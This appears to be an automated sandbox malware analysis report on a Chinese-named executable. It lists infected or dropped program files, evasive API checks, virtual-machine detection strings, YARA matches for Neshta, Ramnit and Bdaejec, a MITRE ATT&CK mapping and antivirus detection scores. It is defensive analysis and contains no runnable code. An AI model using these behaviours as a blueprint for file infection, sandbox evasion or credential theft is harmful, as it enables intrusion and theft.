Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_2-912

Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe

Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess

graph_4-4300

Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_4-4341
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_1-4345

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Code function: 2_2_00781718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00781754h

2_2_00781718

Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_2_004011DF FindFirstFileA,FindClose,	1_2_004011DF
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Code function: 2_2_007829E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	2_2_007829E2
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_2_004011DF FindFirstFileA,FindClose,	4_2_004011DF

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Code function: 2_2_00782B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

2_2_00782B8C

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior

Source: Amcache.hve.22.dr	Binary or memory string: VMware
Source: Web Data.16.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.16.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.16.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.22.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: uvkTKBif.exe, 00000002.00000002.3310982399.0000000000D02000.00000004.00000020.00020000.00000000.sdmp, uvkTKBif.exe, 00000002.00000002.3310982399.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp, uvkTKBif.exe, 00000002.00000002.3310982399.0000000000D3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.16.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.22.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Web Data.16.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.22.dr	Binary or memory string: vmci.sys
Source: Web Data.16.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.16.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.16.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.16.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.16.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.22.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.22.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.22.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.22.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Web Data.16.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.22.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.22.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.22.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.22.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Web Data.16.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Amcache.hve.22.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Web Data.16.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Web Data.16.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.22.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.22.dr	Binary or memory string: VMware, Inc.
Source: Web Data.16.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.22.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.22.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.22.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Web Data.16.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.22.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Web Data.16.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.16.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.16.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Amcache.hve.22.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Web Data.16.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.16.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.16.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Amcache.hve.22.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Web Data.16.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.16.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.16.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.16.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.16.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.22.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.22.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.22.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Web Data.16.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.22.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Web Data.16.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.16.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.22.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Web Data.16.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	API call chain: ExitProcess graph end node	graph_1-4276
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	API call chain: ExitProcess graph end node	graph_2-887
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	API call chain: ExitProcess graph end node	graph_4-4418
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	API call chain: ExitProcess graph end node	graph_4-4434
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	API call chain: ExitProcess graph end node	graph_4-4287
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	API call chain: ExitProcess graph end node	graph_4-4377

Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe "C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe"			Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Code function: 2_2_00781718 GetSystemTimeAsFileTime,SHSetValueA,SHGetValueA,__aulldiv,__aulldiv,

2_2_00781718

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Code function: 2_2_0078139F GetVersionExA,LookupPrivilegeValueA,GetCurrentProcessId,

2_2_0078139F

Source: Amcache.hve.22.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: uvkTKBif.exe PID: 5144, type: MEMORYSTR

Yara detected Neshta

Source: Yara match	File source: 00000000.00000002.2836381813.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 6544, type: MEMORYSTR

Yara detected Ramnit

Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 3712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DesktopLayer.exe PID: 3176, type: MEMORYSTR

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: uvkTKBif.exe PID: 5144, type: MEMORYSTR

Yara detected Ramnit

Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 3712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DesktopLayer.exe PID: 3176, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	2 Obfuscated Files or Information	11 Input Capture	11 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 Windows Service	1 Access Token Manipulation	12 Software Packing	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	11 Input Capture	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Windows Service	1 DLL Side-Loading	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Process Injection	322 Masquerading	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	LSA Secrets	111 Security Software Discovery	SSH	Keylogging	2 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
#U65b0#U7248#U7f51#U5173Srv.exe	97%	ReversingLabs	Win32.Virus.Neshuta
#U65b0#U7248#U7f51#U5173Srv.exe	88%	Virustotal		Browse
#U65b0#U7248#U7f51#U5173Srv.exe	100%	Avira	W32/Delf.I
#U65b0#U7248#U7f51#U5173Srv.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Uninstall.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
